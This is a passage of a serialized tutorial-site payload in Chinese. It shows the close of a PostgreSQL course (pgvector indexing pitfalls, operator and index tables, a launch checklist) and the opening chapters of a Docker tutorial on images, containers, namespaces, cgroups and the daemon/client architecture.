两路排名融合\n",[331,45074,45075],{"class":333,"line":456},[331,45076,45077],{},"FROM (SELECT id, rnk FROM kw UNION ALL SELECT id, rnk FROM vec) t\n",[331,45079,45080],{"class":333,"line":775},[331,45081,45082],{},"GROUP BY id ORDER BY rrf_score DESC;\n",[11,45084,45085,45086,45089],{},"示例 15 的交互页面用",[17,45087,45088],{},"二维平面","直观化了「精确 vs 近似」的差异：勾上近似检索开关，亲眼看到它只探最近的簇、漏掉真近邻——这正是 ivfflat probes=1 的现场。",[4748,45091],{"height":14062,"src":45092,"title":45093},"\u002Ftutorials\u002Fpostgresql\u002Fdemos\u002F15-pgvector-ann.html","示例 15：向量检索——可交互的精确 vs 近似（召回现场）",[53,45095,4796],{"id":16464},[11,45097,45098,45104,45105,45108],{},[17,45099,8723,45100,45103],{},[22,45101,45102],{},"ivfflat"," 必须先灌数据再建索引。"," 空表建索引质心全挤一起，召回灾难。",[22,45106,45107],{},"hnsw"," 没这个前提，可随时建、边插边查——所以默认推荐 hnsw。",[11,45110,45111,29688,45117,45119,45120,45123,45124,45127,45128,161],{},[17,45112,45113,45114,45116],{},"2. 距离算子、索引 opclass、",[22,45115,40552],{}," 三者必须一致。",[22,45118,44947],{},"（余弦）查询，索引却要建 ",[22,45121,45122],{},"vector_l2_ops","，结果是不走索引、退化成全库精确扫。建 ",[22,45125,45126],{},"vector_cosine_ops"," 就一路用 ",[22,45129,44947],{},[11,45131,45132,268,45135,45138],{},[17,45133,45134],{},"3. 维度定死在列类型里。",[22,45136,45137],{},"vector(1536)"," 换 embedding 模型（比如 3072 维）不是改配置，是要重建列重算全量向量。选型时把「模型可能换版」算进成本。",[11,45140,45141,45144,45145,1901,45148,45151],{},[17,45142,45143],{},"4. 近似检索会漏，且漏得悄无声息。"," 不报错、结果看着也正常，只是少了真正的最近邻。上线前用同一批真实查询量一次 recall@K（第二步那段），并把 ",[22,45146,45147],{},"ef_search",[22,45149,45150],{},"probes"," 记进配置。",[11,45153,45154,45157],{},[17,45155,45156],{},"5. 什么时候不用 pgvector。"," 数据到几千万行、要求毫秒级 p99、或要做复杂的向量过滤\u002F分片——再考虑专用向量库。在绝大多数「知识库 + 万级到百万级 chunk」的规模里，pgvector 加上一张熟悉的 PG，就是最省心的答案。",[53,45159,45161],{"id":45160},"附距离算子与-ann-索引速查","附：距离算子与 ANN 索引速查",[57,45163,45164,45176],{},[60,45165,45166],{},[63,45167,45168,45171,45174],{},[66,45169,45170],{},"算子",[66,45172,45173],{},"距离",[66,45175,26236],{},[79,45177,45178,45190,45203],{},[63,45179,45180,45184,45187],{},[84,45181,45182],{},[22,45183,44670],{},[84,45185,45186],{},"欧氏距离（L2）",[84,45188,45189],{},"绝对距离有意义时",[63,45191,45192,45197,45200],{},[84,45193,45194],{},[22,45195,45196],{},"\u003C#>",[84,45198,45199],{},"负内积",[84,45201,45202],{},"未归一化向量、关注量级",[63,45204,45205,45209,45212],{},[84,45206,45207],{},[22,45208,44947],{},[84,45210,45211],{},"余弦距离（1 - cos）",[84,45213,45214,45217],{},[17,45215,45216],{},"语义搜索最常用","；很多模型输出已归一化，此时与 L2 排序等价",[57,45219,45220,45232],{},[60,45221,45222],{},[63,45223,45224,45226,45229],{},[66,45225],{},[66,45227,45228],{},"ivfflat（聚类倒排）",[66,45230,45231],{},"hnsw（分层图导航）",[79,45233,45234,45245,45259,45285,45296],{},[63,45235,45236,45239,45242],{},[84,45237,45238],{},"原理",[84,45240,45241],{},"K-means 聚成 lists 个簇，查询只探 probes 个簇",[84,45243,45244],{},"多层近邻图，贪心跳转",[63,45246,45247,45250,45256],{},[84,45248,45249],{},"建索引前提",[84,45251,45252,45255],{},[17,45253,45254],{},"必须先灌数据再建","——空表建索引质心全挤一起，召回灾难",[84,45257,45258],{},"可随时建，边插边查",[63,45260,45261,45264,45273],{},[84,45262,45263],{},"关键参数",[84,45265,45266,45269,45270],{},[22,45267,45268],{},"lists","（建议 行数\u002F1000）、查询期 ",[22,45271,45272],{},"ivfflat.probes",[84,45274,45275,272,45278,45281,45282],{},[22,45276,45277],{},"m=16",[22,45279,45280],{},"ef_construction=64","、查询期 ",[22,45283,45284],{},"hnsw.ef_search",[63,45286,45287,45290,45293],{},[84,45288,45289],{},"召回\u002F内存",[84,45291,45292],{},"召回一般、内存小",[84,45294,45295],{},"召回高、内存大",[63,45297,45298,45301,45304],{},[84,45299,45300],{},"选择",[84,45302,45303],{},"内存紧、能接受漏检",[84,45305,45306],{},[17,45307,45308],{},"默认推荐",[48,45310,45312],{"id":45311},"十六收尾上线前核对清单与学习路线","十六、收尾：上线前核对清单与学习路线",[11,45314,45315],{},"一门课收尾，把散在十五章「⚠️ 本章的坑」里的东西收进一张可打勾的清单。新库上线、老库交接，按行过一遍：",[57,45317,45318,45330],{},[60,45319,45320],{},[63,45321,45322,45324,45326,45328],{},[66,45323,5438],{},[66,45325,4051],{},[66,45327,17159],{},[66,45329,16906],{},[79,45331,45332,45350,45371,45393,45407,45426,45450,45463,45480],{},[63,45333,45334,45337,45344,45347],{},[84,45335,45336],{},"建库",[84,45338,45339,45340,45343],{},"编码 UTF8、collation 定死；",[22,45341,45342],{},"data_checksums"," 尽量开",[84,45345,45346],{},"collation 变更带坏字符串索引；磁盘静默损坏无感知",[84,45348,45349],{},"三、十二章",[63,45351,45352,45354,45365,45368],{},[84,45353,37711],{},[84,45355,45356,45358,45359,45361,45362,45364],{},[22,45357,37726],{},"≈25% 内存；",[22,45360,37742],{}," 按并发算账；",[22,45363,36796],{},"≤300 + PgBouncer",[84,45366,45367],{},"内存事故、连接风暴",[84,45369,45370],{},"三、一章",[63,45372,45373,45375,45387,45390],{},[84,45374,11975],{},[84,45376,45377,45378,45380,45381,45383,45384,45386],{},"时间一律 ",[22,45379,38131],{},"；金额 ",[22,45382,39084],{},"；文本 ",[22,45385,313],{},"；主键 identity",[84,45388,45389],{},"时区漂移、分币丢失、序列权限报错",[84,45391,45392],{},"四章",[63,45394,45395,45398,45401,45404],{},[84,45396,45397],{},"索引",[84,45399,45400],{},"外键列手动建索引；模糊搜 pg_trgm；FTS 表达式与查询一字不差",[84,45402,45403],{},"删父行秒级锁等待、搜索全表扫",[84,45405,45406],{},"七、八、十三章",[63,45408,45409,45412,45420,45423],{},[84,45410,45411],{},"慢查询",[84,45413,45414,45417,45418],{},[22,45415,45416],{},"log_min_duration_statement = 500ms"," 收慢日志；EXPLAIN 差值大先 ",[22,45419,41985],{},[84,45421,45422],{},"慢而无据，调优靠猜",[84,45424,45425],{},"八章",[63,45427,45428,45431,45444,45447],{},[84,45429,45430],{},"事务",[84,45432,45433,45434,45437,45438,45441,45442],{},"监控 ",[22,45435,45436],{},"idle in transaction","；DDL 前 ",[22,45439,45440],{},"SET lock_timeout","；建索引用 ",[22,45443,42955],{},[84,45445,45446],{},"表膨胀拖垮全库；ALTER 排队全站超时",[84,45448,45449],{},"九章",[63,45451,45452,45454,45457,45460],{},[84,45453,2044],{},[84,45455,45456],{},"应用账号最小权限且非 owner；pg_hba 无公网 trust；密码 scram",[84,45458,45459],{},"一条 SQL 误删全库；弱口令裸奔",[84,45461,45462],{},"十一章",[63,45464,45465,45468,45474,45477],{},[84,45466,45467],{},"备份",[84,45469,45470,45471],{},"每日 dump + basebackup + WAL 归档；",[17,45472,45473],{},"恢复演练真的做过一次",[84,45475,45476],{},"「有备份」和「能恢复」是两回事",[84,45478,45479],{},"十二章",[63,45481,45482,45485,45488,45491],{},[84,45483,45484],{},"运维",[84,45486,45487],{},"autovacuum 跟上（膨胀超 30% 处理）；死锁日志定期看",[84,45489,45490],{},"性能慢性病、业务加锁环路没人改",[84,45492,45493],{},"八、九章",[11,45495,45496],{},"学完这门课，继续往下走的路线：官方文档的 Part II（SQL 语言）与 Part IV（客户端认证）是两块最适合精读的；练习题首推 pgexercises.com（免费、全 SQL 覆盖）；索引原理补 use-the-index-luke.com；三个扩展的深水区分别在 PG 官方文档的 Text Search \u002F PostGIS 手册 \u002F pgvector 的 GitHub README。",[11,45498,45499],{},"最后回到第一章的场景：全文搜索、附近门店、语义检索——三行需求，一套 PG 加三个扩展全接住。组件少一个，事故面就小一圈。祝你的下一张表，类型全对、索引都绿。",[595,45501,45502],{},"html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}",{"title":314,"searchDepth":341,"depth":341,"links":45504},[45505,45509,45517,45524,45532,45538,45546,45552,45559,45566,45572,45580,45586,45592,45597,45604],{"id":36581,"depth":341,"text":36582,"children":45506},[45507,45508],{"id":36761,"depth":357,"text":36761},{"id":36774,"depth":357,"text":36775},{"id":36841,"depth":341,"text":36842,"children":45510},[45511,45512,45513,45514,45515,45516],{"id":36848,"depth":357,"text":36849},{"id":36997,"depth":357,"text":36998},{"id":37124,"depth":357,"text":37125},{"id":37167,"depth":357,"text":37168},{"id":4795,"depth":357,"text":4796},{"id":37289,"depth":357,"text":37290},{"id":37457,"depth":341,"text":37458,"children":45518},[45519,45520,45521,45522,45523],{"id":37464,"depth":357,"text":37465},{"id":37556,"depth":357,"text":37557},{"id":37637,"depth":357,"text":37638},{"id":37701,"depth":357,"text":37702},{"id":5640,"depth":357,"text":4796},{"id":37892,"depth":341,"text":37893,"children":45525},[45526,45527,45528,45529,45530,45531],{"id":37935,"depth":357,"text":37936},{"id":38035,"depth":357,"text":38036},{"id":38282,"depth":357,"text":38283},{"id":38497,"depth":357,"text":38498},{"id":6605,"depth":357,"text":4796},{"id":38915,"depth":357,"text":37931},{"id":40490,"depth":341,"text":40491,"children":45533},[45534,45535,45536,45537],{"id":40500,"depth":357,"text":40501},{"id":40571,"depth":357,"text":40572},{"id":40607,"depth":357,"text":40608},{"id":7628,"depth":357,"text":4796},{"id":40942,"depth":341,"text":40943,"children":45539},[45540,45541,45542,45543,45544,45545],{"id":40949,"depth":357,"text":40950},{"id":41003,"depth":357,"text":41004},{"id":41065,"depth":357,"text":41066},{"id":41126,"depth":357,"text":41127},{"id":8718,"depth":357,"text":4796},{"id":41388,"depth":357,"text":41389},{"id":41550,"depth":341,"text":41551,"children":45547},[45548,45549,45550,45551],{"id":41571,"depth":357,"text":41572},{"id":41672,"depth":357,"text":41673},{"id":41743,"depth":357,"text":41744},{"id":9858,"depth":357,"text":4796},{"id":41941,"depth":341,"text":41942,"children":45553},[45554,45555,45556,45557,45558],{"id":41948,"depth":357,"text":41949},{"id":41989,"depth":357,"text":41990},{"id":42031,"depth":357,"text":42032},{"id":10769,"depth":357,"text":4796},{"id":42252,"depth":357,"text":42253},{"id":42428,"depth":341,"text":42429,"children":45560},[45561,45562,45563,45564,45565],{"id":42439,"depth":357,"text":42440},{"id":42522,"depth":357,"text":42523},{"id":42567,"depth":357,"text":42568},{"id":11493,"depth":357,"text":4796},{"id":42756,"depth":357,"text":42757},{"id":42848,"depth":341,"text":42849,"children":45567},[45568,45569,45570,45571],{"id":42852,"depth":357,"text":42853},{"id":42903,"depth":357,"text":42904},{"id":42959,"depth":357,"text":42960},{"id":12191,"depth":357,"text":4796},{"id":43178,"depth":341,"text":43179,"children":45573},[45574,45575,45576,45577,45578,45579],{"id":43185,"depth":357,"text":43186},{"id":43330,"depth":357,"text":43331},{"id":43436,"depth":357,"text":43437},{"id":13368,"depth":357,"text":4796},{"id":43628,"depth":357,"text":43629},{"id":43724,"depth":357,"text":43725},{"id":43808,"depth":341,"text":43809,"children":45581},[45582,45583,45584,45585],{"id":43819,"depth":357,"text":43820},{"id":43938,"depth":357,"text":43939},{"id":14070,"depth":357,"text":4796},{"id":44036,"depth":357,"text":44037},{"id":44125,"depth":341,"text":44126,"children":45587},[45588,45589,45590,45591],{"id":44148,"depth":357,"text":44149},{"id":44223,"depth":357,"text":44224},{"id":14902,"depth":357,"text":4796},{"id":44405,"depth":357,"text":44406},{"id":44530,"depth":341,"text":44531,"children":45593},[45594,45595,45596],{"id":44537,"depth":357,"text":44538},{"id":15719,"depth":357,"text":4796},{"id":44754,"depth":357,"text":44755},{"id":44838,"depth":341,"text":44839,"children":45598},[45599,45600,45601,45602,45603],{"id":44849,"depth":357,"text":44850},{"id":44951,"depth":357,"text":44952},{"id":45015,"depth":357,"text":45016},{"id":16464,"depth":357,"text":4796},{"id":45160,"depth":357,"text":45161},{"id":45311,"depth":341,"text":45312},"postgresql","\u002Fimg\u002Fpg-cover.svg","2026-10-10","安装连接、类型选型、单表查询与窗口函数、多表与索引、事务与 MVCC、角色权限、备份与 PITR，再到全文搜索、PostGIS 地理与 pgvector 向量三大扩展，16 章循序渐进，配模拟终端与可交互示例。",{},"\u002Ftutorials\u002Fpostgresql",{"title":36576,"description":45608},{"loc":45610},"tutorials\u002Fpostgresql","RydWQslwB0RSkpk3hrK8ILdqI_xuQodSCcrHS_aaxdQ",{"id":45616,"title":45617,"body":45618,"category":36862,"cover":61730,"date":61731,"description":61732,"extension":4549,"meta":61733,"navigation":997,"path":61734,"seo":61735,"sitemap":61736,"stem":61737,"__hash__":61738},"tutorials\u002Ftutorials\u002Fdocker.md","Docker 教程：从镜像分层到生产编排",{"type":8,"value":45619,"toc":61586},[45620,45624,45635,45646,45650,45740,45750,45754,45757,45854,45861,45865,45868,45874,45978,45996,46006,46010,46017,46127,46134,46137,46141,46145,46170,46173,46210,46228,46232,46263,46269,46381,46385,46392,46454,46477,46481,46499,46523,46539,46549,46553,46563,46649,46662,46666,46676,46679,46706,46709,46712,46716,46723,46727,46730,46866,46869,46903,46907,46947,46954,46958,46969,46973,46976,47021,47044,47048,47076,47096,47099,47211,47217,47221,47228,47232,47257,47259,47292,47296,47365,47392,47423,47427,47452,47498,47520,47524,47530,47634,47637,47718,47722,47788,47808,47811,47851,47867,47871,47911,47914,48062,48066,48073,48118,48127,48131,48135,48188,48209,48213,48217,48262,48391,48409,48416,48427,48462,48492,48498,48502,48505,48516,48602,48605,48658,48662,48668,48712,48716,48719,48797,48835,48839,48935,48969,48973,48982,49025,49040,49058,49064,49068,49077,49081,49192,49194,49253,49257,49656,49660,49897,49914,49917,50006,50009,50063,50075,50080,50083,50087,50094,50102,50180,50197,50226,50230,50240,50306,50342,50346,50356,50374,50378,50381,50467,50470,50587,50595,50599,50612,50676,50691,50695,50704,50733,50737,50740,50768,50775,50790,50794,50797,50801,50804,50807,50914,50921,50925,50940,50969,50976,50980,51049,51068,51137,51150,51174,51178,51237,51244,51325,51341,51357,51361,51399,51436,51460,51486,51489,51557,51581,51585,51588,51592,51596,51602,51708,51715,51723,51726,51811,51919,51943,51966,51970,52023,52033,52037,52111,52136,52139,52231,52241,52245,52256,52304,52307,52391,52417,52421,52424,52457,52485,52491,52495,52498,52502,52505,52548,52574,52592,52596,52644,52650,52695,52709,52725,52729,52780,52804,52808,52878,52889,52909,52927,52930,53002,53005,53012,53093,53117,53178,53182,53230,53256,53260,53263,53269,53286,53289,53293,53297,53310,53340,53344,53477,53492,53496,53763,53766,54201,54231,54235,54246,54257,54305,54321,54333,54337,54519,54595,54612,54616,54619,54623,54627,54693,54782,54803,54815,54819,54864,54880,54969,54978,55006,55010,55182,55215,55219,55292,55329,55339,55342,55409,55435,55451,55454,55635,55638,56416,56437,56440,56444,56447,56450,56497,56572,56600,56609,56613,56705,56715,56719,56768,56810,56816,56820,56844,56868,56873,56879,56884,56888,56891,56914,56945,56949,56959,57029,57053,57068,57072,57112,57193,57203,57207,57213,57287,57317,57321,57405,57427,57483,57487,57580,57594,57654,57668,57683,57687,57691,57695,57702,57712,57716,57748,57750,57807,57810,57840,57966,57969,58004,58020,58023,58073,58083,58181,58201,58205,58235,58264,58267,58317,58321,58328,58412,58425,58441,58445,58487,58514,58539,58543,58558,58561,58570,58587,58590,58609,58636,58679,58702,58706,58710,58728,58776,58792,58830,58834,58853,58883,58892,58974,58987,58990,58993,59080,59089,59098,59156,59178,59182,59186,59189,59286,59293,59297,59300,59365,59559,59589,59598,59644,59669,59673,59680,59683,59739,59742,59922,59925,59928,59939,59943,59947,60345,60349,60627,60646,60650,60805,61069,61160,61302,61452,61565,61568,61572,61583],[48,45621,45623],{"id":45622},"一容器到底解决了什么镜像容器与仓库三件套","一、容器到底解决了什么：镜像、容器与仓库三件套",[11,45625,45626,45627,45630,45631,45634],{},"先还原一个每天都在上演的场景。你在自己机器上跑通了服务，",[22,45628,45629],{},"python app.py"," 一切正常；交给测试同学，报错 ",[22,45632,45633],{},"ModuleNotFoundError: No module named 'pandas'","；测试环境装了 pandas，你本地是 1.1 而那边是 2.0，接口返回的日期格式对不上；终于版本对齐了，生产机是 ARM 架构，而依赖里有一个需要现场编译 C 扩展的包。",[11,45636,45637,45638,45641,45642,45645],{},"「在我机器上能跑」这句话之所以让人头疼，不是因为机器有坏有好，而是因为",[17,45639,45640],{},"运行环境是一组隐式依赖的集合","：操作系统版本、C 库（glibc 还是 musl）、解释器与依赖库的具体版本、时区、环境变量、字体、可用的系统调用、CPU 架构。传统部署方式里，这堆东西散落在各台机器上，靠文档和运维的记忆维持一致。容器要解决的正是这个：",[17,45643,45644],{},"把「应用 + 它需要的一切」打成一个不可变的包","，让隐式依赖变成显式内容。",[53,45647,45649],{"id":45648},"镜像容器仓库三个名词先把边界划清","镜像、容器、仓库：三个名词先把边界划清",[57,45651,45652,45668],{},[60,45653,45654],{},[63,45655,45656,45659,45662,45665],{},[66,45657,45658],{},"概念",[66,45660,45661],{},"它是什么",[66,45663,45664],{},"类比",[66,45666,45667],{},"关键性质",[79,45669,45670,45684,45698,45717],{},[63,45671,45672,45675,45678,45681],{},[84,45673,45674],{},"镜像 image",[84,45676,45677],{},"只读的文件系统快照 + 启动参数",[84,45679,45680],{},"安装光盘 \u002F class",[84,45682,45683],{},"不可变、分层、可按内容寻址（digest）",[63,45685,45686,45689,45692,45695],{},[84,45687,45688],{},"容器 container",[84,45690,45691],{},"镜像加上一个可写层，跑起来的进程",[84,45693,45694],{},"进程 \u002F new 出来的对象",[84,45696,45697],{},"可创建、可停止、可删除，数据默认随它消失",[63,45699,45700,45703,45706,45709],{},[84,45701,45702],{},"仓库 repository",[84,45704,45705],{},"存放某个应用的一组镜像（按 tag 区分）",[84,45707,45708],{},"Maven 仓库",[84,45710,45711,272,45713,45716],{},[22,45712,15379],{},[22,45714,45715],{},"ghcr.io\u002Fexample\u002Fshop-api"," 都是一个仓库",[63,45718,45719,45722,45725,45728],{},[84,45720,45721],{},"注册中心 registry",[84,45723,45724],{},"提供仓库服务的服务器",[84,45726,45727],{},"私服 Nexus",[84,45729,45730,272,45733,45736,45737],{},[22,45731,45732],{},"docker.io",[22,45734,45735],{},"ghcr.io","、自建 ",[22,45738,45739],{},"registry:2",[11,45741,45742,45743,45746,45747,45749],{},"最容易混的是最后两个：仓库是一组 tag，注册中心是那个服务。而镜像与容器的关系，第三章讲分层时会具体化：",[17,45744,45745],{},"镜像是只读的，容器启动时在这一叠只读层上面盖了一层自己的读写层","。你往容器里写的任何文件都只在那一层里，",[22,45748,37027],{}," 之后一并消失——这是新手最常踩的第一个坑（第九章）。",[53,45751,45753],{"id":45752},"容器不是轻量虚拟机共享内核是全部差异的来源","容器不是轻量虚拟机：共享内核是全部差异的来源",[11,45755,45756],{},"很多人把容器理解成「小一点的虚拟机」，这个类比会让你后面所有判断都跑偏。",[57,45758,45759,45771],{},[60,45760,45761],{},[63,45762,45763,45765,45768],{},[66,45764,36604],{},[66,45766,45767],{},"虚拟机",[66,45769,45770],{},"容器",[79,45772,45773,45786,45797,45808,45819,45830,45841],{},[63,45774,45775,45778,45781],{},[84,45776,45777],{},"内核",[84,45779,45780],{},"每个 VM 自己一个完整内核",[84,45782,45783],{},[17,45784,45785],{},"所有容器共享宿主内核",[63,45787,45788,45791,45794],{},[84,45789,45790],{},"启动",[84,45792,45793],{},"几十秒（走完整 BIOS\u002Fsystemd）",[84,45795,45796],{},"几十到几百毫秒（只是起一个进程）",[63,45798,45799,45802,45805],{},[84,45800,45801],{},"内存开销",[84,45803,45804],{},"预先分配整个 guest 内存",[84,45806,45807],{},"就是进程本身，用多少占多少",[63,45809,45810,45813,45816],{},[84,45811,45812],{},"镜像大小",[84,45814,45815],{},"几 GB",[84,45817,45818],{},"几十 MB 到几百 MB",[63,45820,45821,45824,45827],{},[84,45822,45823],{},"单机密度",[84,45825,45826],{},"几台到十几台",[84,45828,45829],{},"几十到几百个",[63,45831,45832,45835,45838],{},[84,45833,45834],{},"隔离强度",[84,45836,45837],{},"硬件虚拟化，边界很硬",[84,45839,45840],{},"内核特性 + 能力裁剪，边界是「软」的",[63,45842,45843,45846,45849],{},[84,45844,45845],{},"跨内核",[84,45847,45848],{},"Linux VM 可以跑在 Windows 宿主上",[84,45850,45851],{},[17,45852,45853],{},"Linux 容器必须跑在 Linux 内核上",[11,45855,45856,45857,45860],{},"最后一行值得单独强调：容器不是把硬件虚拟化了一遍，它只是把",[17,45858,45859],{},"一个进程的可见世界","做了限制。所以 Windows 上跑 Linux 容器必须在 Linux 内核上面垫一层虚拟机——第二章讲 Docker Desktop 时这个事实会造成一堆「奇怪现象」（bind mount 慢、host 网络不生效）。",[53,45862,45864],{"id":45863},"namespace-管看得见什么cgroup-管用得了多少","namespace 管「看得见什么」，cgroup 管「用得了多少」",[11,45866,45867],{},"容器为什么能「像独立机器」？靠的是内核里两套机制，分工非常清楚。",[11,45869,45870,45873],{},[17,45871,45872],{},"namespace"," 负责可见性的隔离，让同一个进程看到的世界上少了一半东西：",[57,45875,45876,45888],{},[60,45877,45878],{},[63,45879,45880,45882,45885],{},[66,45881,45872],{},[66,45883,45884],{},"隔离了什么",[66,45886,45887],{},"你在容器里的直观感受",[79,45889,45890,45907,45923,45936,45952,45965],{},[63,45891,45892,45897,45900],{},[84,45893,45894],{},[22,45895,45896],{},"mnt",[84,45898,45899],{},"挂载点",[84,45901,45902,45903,45906],{},"根目录是镜像的文件系统，宿主的 ",[22,45904,45905],{},"\u002Fhome"," 看不见",[63,45908,45909,45914,45917],{},[84,45910,45911],{},[22,45912,45913],{},"pid",[84,45915,45916],{},"进程号",[84,45918,45919,45922],{},[22,45920,45921],{},"ps"," 里自己的应用是 PID 1，看不见宿主的 sshd",[63,45924,45925,45930,45933],{},[84,45926,45927],{},[22,45928,45929],{},"net",[84,45931,45932],{},"网络栈",[84,45934,45935],{},"有自己的网卡、IP、路由表、iptables",[63,45937,45938,45943,45946],{},[84,45939,45940],{},[22,45941,45942],{},"uts",[84,45944,45945],{},"主机名",[84,45947,45948,45951],{},[22,45949,45950],{},"hostname"," 返回容器名",[63,45953,45954,45959,45962],{},[84,45955,45956],{},[22,45957,45958],{},"ipc",[84,45960,45961],{},"信号量 \u002F 共享内存",[84,45963,45964],{},"只能和同组容器通信",[63,45966,45967,45972,45975],{},[84,45968,45969],{},[22,45970,45971],{},"user",[84,45973,45974],{},"UID\u002FGID 映射",[84,45976,45977],{},"rootless 模式下容器 root 其实是宿主普通用户",[11,45979,45980,45983,45984,45987,45988,45991,45992,45995],{},[17,45981,45982],{},"cgroup","（control group）负责资源的计量与限制：CPU 时间、内存上限、块设备 IO、进程数、网络带宽（通过 cgroup v2）。",[22,45985,45986],{},"docker stats"," 看到的数字、",[22,45989,45990],{},"--memory"," 的限制、第十四章那个 ",[22,45993,45994],{},"Exited (137)","，全部来自 cgroup。",[11,45997,45998,45999,46002,46003,46005],{},"一句话记住分工：",[17,46000,46001],{},"namespace 决定容器「不知道宿主存在」，cgroup 决定容器「不能把宿主吃穷」","。也正因为隔离是靠内核特性而不是硬件，容器才又快又省，但也才需要第十五章那整套安全加固——默认的容器",[17,46004,4771],{},"一个足够硬的安全边界。",[53,46007,46009],{"id":46008},"一次构建到处运行的边界在哪里","「一次构建，到处运行」的边界在哪里",[11,46011,46012,46013,46016],{},"这句宣传语是真的，但它有明确的适用范围。下面这些东西",[17,46014,46015],{},"不在镜像里","，因此换机器就可能变行为：",[57,46018,46019,46032],{},[60,46020,46021],{},[63,46022,46023,46026,46029],{},[66,46024,46025],{},"不受镜像控制",[66,46027,46028],{},"后果示例",[66,46030,46031],{},"正确做法",[79,46033,46034,46049,46066,46077,46090,46101,46112],{},[63,46035,46036,46039,46046],{},[84,46037,46038],{},"宿主内核版本与模块",[84,46040,46041,46042,46045],{},"老内核跑新镜像报 ",[22,46043,46044],{},"unknown mount option"," \u002F overlay 不支持",[84,46047,46048],{},"统一宿主基线，CI 里用目标内核测",[63,46050,46051,46054,46060],{},[84,46052,46053],{},"CPU 架构",[84,46055,46056,46059],{},[22,46057,46058],{},"exec format error","（第十八章）",[84,46061,46062,46063],{},"多架构镜像（第五章）或固定 ",[22,46064,46065],{},"--platform",[63,46067,46068,46071,46074],{},[84,46069,46070],{},"设备与驱动",[84,46072,46073],{},"GPU 容器缺少 nvidia 运行时",[84,46075,46076],{},"设备透传 + 对应 runtime",[63,46078,46079,46082,46085],{},[84,46080,46081],{},"资源上限",[84,46083,46084],{},"同镜像在小机器上 OOM 被杀",[84,46086,46087,46089],{},[22,46088,45990],{}," \u002F Compose 显式声明（第十四章）",[63,46091,46092,46095,46098],{},[84,46093,46094],{},"文件系统属主 UID",[84,46096,46097],{},"bind mount 进去写不进去",[84,46099,46100],{},"对齐 UID 或用卷（第九章）",[63,46102,46103,46106,46109],{},[84,46104,46105],{},"外部地址与密钥",[84,46107,46108],{},"连不上数据库、密钥泄漏",[84,46110,46111],{},"环境变量与 secrets 注入（第十三章）",[63,46113,46114,46117,46120],{},[84,46115,46116],{},"并发与连接池大小",[84,46118,46119],{},"单机调好的参数在 8 核机上打爆 DB",[84,46121,46122,46123,46126],{},"从 ",[22,46124,46125],{},"--cpus"," 推导，不写死",[11,46128,46129,46130,46133],{},"所以准确的说法是：",[17,46131,46132],{},"镜像保证「应用及其用户空间依赖」一致，不保证「运行时环境」一致","。剩下的差异要么由编排层注入，要么由你在配置里显式声明。理解了这条边界，后面十七章的所有「为什么要这样写」都有了落点。",[11,46135,46136],{},"下一章开始动手：装好它，跑通第一个容器，并看清那条命令背后到底发生了什么。",[48,46138,46140],{"id":46139},"二安装与第一次运行daemon客户端与虚拟机的本质","二、安装与第一次运行：daemon、客户端与虚拟机的本质",[53,46142,46144],{"id":46143},"daemon-与客户端docker-命令其实只是个-http-客户端","daemon 与客户端：docker 命令其实只是个 HTTP 客户端",[11,46146,46147,46148,46151,46152,46154,46155,4843,46158,46161,46162,46165,46166,46169],{},"很多人以为 ",[22,46149,46150],{},"docker run"," 是本机执行了容器，其实不是。真实链路是：",[22,46153,36862],{}," CLI 发 HTTP 请求 → ",[22,46156,46157],{},"\u002Fvar\u002Frun\u002Fdocker.sock",[17,46159,46160],{},"dockerd","（常驻服务，负责接收请求、拉镜像、管网络与卷）→ ",[17,46163,46164],{},"containerd","（真正的容器运行时管理层，镜像解包、任务生命周期归它）→ ",[17,46167,46168],{},"runc","（一次性小工具，做完 namespace\u002Fcgroup 那套系统调用把容器进程生出来就退出，不留常驻进程）。",[11,46171,46172],{},"关键推论有三个：",[1659,46174,46175,46192,46202],{},[1662,46176,46177,46180,46181,46184,46185,46187,46188,46191],{},[17,46178,46179],{},"客户端与 daemon 可以完全分离","。设 ",[22,46182,46183],{},"DOCKER_HOST=tcp:\u002F\u002Fbuild-server:2375","，你的 ",[22,46186,36862],{}," 命令就在操控远端机器。CI 里的 ",[22,46189,46190],{},"docker:24-dind"," 镜像就是这么用的。",[1662,46193,46194,46197,46198,46201],{},[17,46195,46196],{},"daemon 挂了，容器不一定挂","。已运行的容器由 runc 生成的进程继续跑；重启 dockerd 会重新接管它们（这也是为什么 ",[22,46199,46200],{},"docker restart dockerd"," 比想象中有用，但也可能造成短暂失联）。",[1662,46203,46204,161,46207,46209],{},[17,46205,46206],{},"能访问那个 socket 就等于宿主 root",[22,46208,46157],{}," 的权限、挂载它的风险，第十五章会专门算这笔账。",[11,46211,46212,46213,46216,46217,46220,46221,46224,46225,161],{},"安装方式上，Linux 建议用发行版的官方仓库装 ",[22,46214,46215],{},"docker-ce","（snap 版本会限制挂载路径，坑很多），装完 ",[22,46218,46219],{},"sudo systemctl enable --now docker","，再用 ",[22,46222,46223],{},"systemctl status docker --no-pager"," 确认是 ",[22,46226,46227],{},"active (running)",[53,46229,46231],{"id":46230},"docker-version-与-docker-info先学会读字段","docker version 与 docker info：先学会读字段",[11,46233,46234,46235,46238,46239,46242,46243,46246,46247,46250,46251,46254,46255,46262],{},"装完先跑这两条，它们是你后面所有排障的信息源。",[22,46236,46237],{},"docker version"," 输出分 Client 和 Server 两段：",[22,46240,46241],{},"ApiVersion"," 决定客户端能说什么话，",[22,46244,46245],{},"Version"," 是引擎版本，",[22,46248,46249],{},"GitCommit"," 是构建标识（提 issue 时要给），",[22,46252,46253],{},"Os\u002FArch"," 是这台机器的目标平台——跨架构问题第一个看这里。",[17,46256,46257,46258,46261],{},"如果只有 Client 段然后报错 ",[22,46259,46260],{},"Cannot connect to the Docker daemon","，说明 daemon 没跑或你没权限","，这是第十八章表格的第一行。",[11,46264,46265,46268],{},[22,46266,46267],{},"docker info"," 